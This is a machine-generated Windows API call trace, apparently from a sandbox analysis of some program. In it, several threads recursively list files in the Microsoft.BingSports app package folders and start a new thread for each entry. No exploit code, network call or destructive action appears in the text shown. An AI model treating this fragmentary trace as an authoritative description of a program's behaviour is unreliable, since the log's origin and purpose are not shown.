	[0077.735] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc1ee0) returned 1
	[0077.735] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f5b0) returned 1
	[0077.735] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f9a0) returned 1

Thread:
	id = 256
	os_tid = 0xf58

	[0076.779] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2d7d848
	[0076.779] wcscpy (in: _Dest=0x2d7d848, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe"
	[0076.779] wcscat (in: _Dest=0x2d7d848, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\"
	[0076.779] wcscat (in: _Dest=0x2d7d848, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\*"
	[0076.779] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc17a8
	[0076.779] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x2dc17a8 | out: lpFindFileData=0x2dc17a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c254236, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa53d33a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608513a6, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad3f8
	[0078.775] wcscmp (_String1=".", _String2=".") returned 0
	[0078.775] FindNextFileW (in: hFindFile=0x2dad3f8, lpFindFileData=0x2dc17a8 | out: lpFindFileData=0x2dc17a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c254236, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa53d33a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608513a6, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.775] wcscmp (_String1="..", _String2=".") returned 1
	[0078.775] wcscmp (_String1="..", _String2="..") returned 0
	[0078.775] FindNextFileW (in: hFindFile=0x2dad3f8, lpFindFileData=0x2dc17a8 | out: lpFindFileData=0x2dc17a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c254236, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c254236, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c254236, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0078.775] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0078.775] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0078.776] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x477c380
	[0078.776] wcscpy (in: _Dest=0x477c380, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe"
	[0078.776] wcscat (in: _Dest=0x477c380, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.776] wcscat (in: _Dest=0x477c380, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0078.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477c380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x87c
	[0078.944] FindNextFileW (in: hFindFile=0x2dad3f8, lpFindFileData=0x2dc17a8 | out: lpFindFileData=0x2dc17a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c254236, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa53e492, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c254236, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0078.944] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0078.944] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0078.944] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47ea130
	[0078.944] wcscpy (in: _Dest=0x47ea130, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe"
	[0078.944] wcscat (in: _Dest=0x47ea130, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.944] wcscat (in: _Dest=0x47ea130, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0078.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ea130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xef8
	[0078.945] FindNextFileW (in: hFindFile=0x2dad3f8, lpFindFileData=0x2dc17a8 | out: lpFindFileData=0x2dc17a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c27a365, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c27a365, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c27a365, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0078.945] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0078.945] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0078.945] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x477db20
	[0078.945] wcscpy (in: _Dest=0x477db20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe"
	[0078.945] wcscat (in: _Dest=0x477db20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.945] wcscat (in: _Dest=0x477db20, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0078.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477db20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xefc
	[0078.945] FindNextFileW (in: hFindFile=0x2dad3f8, lpFindFileData=0x2dc17a8 | out: lpFindFileData=0x2dc17a8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x608513a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa53f14b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608513a6, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0078.945] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0078.945] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0078.945] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x4752738
	[0078.945] wcscpy (in: _Dest=0x4752738, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe"
	[0078.946] wcscat (in: _Dest=0x4752738, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.946] wcscat (in: _Dest=0x4752738, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0078.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4752738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf00
	[0078.946] FindNextFileW (in: hFindFile=0x2dad3f8, lpFindFileData=0x2dc17a8 | out: lpFindFileData=0x2dc17a8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x608513a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa53f14b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608513a6, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0078.947] FindClose (in: hFindFile=0x2dad3f8 | out: hFindFile=0x2dad3f8) returned 1
	[0078.947] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc17a8) returned 1
	[0078.947] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d848) returned 1
	[0078.947] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61a50) returned 1

Thread:
	id = 257
	os_tid = 0xf08

	[0076.779] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d614d0
	[0076.779] wcscpy (in: _Dest=0x2d614d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe"
	[0076.779] wcscat (in: _Dest=0x2d614d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0076.779] wcscat (in: _Dest=0x2d614d0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\*"
	[0076.779] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc1a10
	[0076.780] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\*", lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2a05a2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d0219, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608775e5, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70f80
	[0076.781] wcscmp (_String1=".", _String2=".") returned 0
	[0076.781] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2a05a2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d0219, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608775e5, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.687] wcscmp (_String1="..", _String2=".") returned 1
	[0077.687] wcscmp (_String1="..", _String2="..") returned 0
	[0077.687] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c2c683a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x11251, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppConfiguration.xml", cAlternateFileName="")) returned 1
	[0077.687] wcscmp (_String1="AppConfiguration.xml", _String2=".") returned 1
	[0077.687] wcscmp (_String1="AppConfiguration.xml", _String2="..") returned 1
	[0077.687] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47c9d30
	[0077.687] wcscpy (in: _Dest=0x47c9d30, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.687] wcscat (in: _Dest=0x47c9d30, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.687] wcscat (in: _Dest=0x47c9d30, _Source="AppConfiguration.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml"
	[0077.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47c9d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x36c
	[0077.688] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c2c683a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x7730, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0077.688] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0077.688] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0077.688] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x476c860
	[0077.688] wcscpy (in: _Dest=0x476c860, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.688] wcscat (in: _Dest=0x476c860, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.688] wcscat (in: _Dest=0x476c860, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0077.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476c860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x53c
	[0077.689] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2a05a2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c2a05a2, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2088, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0077.689] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0077.689] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0077.689] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x476c928
	[0077.689] wcscpy (in: _Dest=0x476c928, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.689] wcscat (in: _Dest=0x476c928, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.689] wcscat (in: _Dest=0x476c928, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml"
	[0077.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476c928, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x538
	[0077.690] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d1b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0077.690] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0077.690] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0077.690] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4769de8
	[0077.690] wcscpy (in: _Dest=0x4769de8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.690] wcscat (in: _Dest=0x4769de8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.690] wcscat (in: _Dest=0x4769de8, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata"
	[0077.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4769de8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x534
	[0077.691] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c2c683a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2991, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0077.691] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0077.691] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0077.691] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47ca960
	[0077.691] wcscpy (in: _Dest=0x47ca960, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.691] wcscat (in: _Dest=0x47ca960, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.691] wcscat (in: _Dest=0x47ca960, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0077.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ca960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530
	[0077.692] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d25c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c35f15d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0077.692] wcscmp (_String1="Assets", _String2=".") returned 1
	[0077.692] wcscmp (_String1="Assets", _String2="..") returned 1
	[0077.692] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2ddb0e8
	[0077.692] wcscpy (in: _Dest=0x2ddb0e8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.692] wcscat (in: _Dest=0x2ddb0e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.692] wcscat (in: _Dest=0x2ddb0e8, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets"
	[0077.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2ddb0e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x52c
